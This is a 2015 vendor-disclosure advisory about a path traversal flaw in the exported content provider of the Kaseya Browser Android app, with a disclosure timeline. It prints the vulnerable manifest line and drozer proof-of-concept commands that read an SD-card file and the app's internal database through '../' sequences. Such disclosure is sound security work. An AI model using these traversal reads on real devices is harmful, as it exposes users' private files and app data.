Vulnerability Advisory – Vendor Disclosure

Name	Kaseya Browser Android – Path Traversal
Vendor Website	http://www.kaseya.com/
Affected Software	Kaseya Browser 7.0 - Android
Date Released	29th January 2015
Researchers	Denis Andzakovic

Description

This document details a vulnerability found within Kaseya Browser Android application. A path traversal vulnerability was discovered within the exported content provider, resulting in the disclosure or arbitrary files, including sensitive files internal to the application.

Exploitation

The Kaseya Browser Android application exposes a content provider that is vulnerable to path traversal. This allows any other application installed on the device to read arbitrary files using the Kaseya Browser application's permissions. The affected Provider can be seen in the screenshot below:

Vulnerable Provider in AndroidManifest.xml

```
</activity>
<provider android:name="com.roverapps.retriever.FileProvider" android:exported="true" androi
```

The following screenshot shows the retrieval of an arbitrary file from the SD card, as well as the encrypted SuiteStorage database:

Path Traversal POC

```
dz> run app.provider.read content://com.roverapps.retriever/../../../../../sdcard/testfile
test file 123
```

```
dz> run app.provider.read content://com.roverapps.retriever/../databases/suitestorage.db
```

Solution

No official solution is currently available for this issue.

Timeline

03/10/2014 – Initial contact with Kaseya Support
09/10/2014 – Established Kaseya security contact
13/10/2014 – Advisories sent to Kaseya
21/10/2014 – Additional information sent to Kaseya
22/11/2014 – Update from Kaseya
29/01/2015 – Release of this advisory

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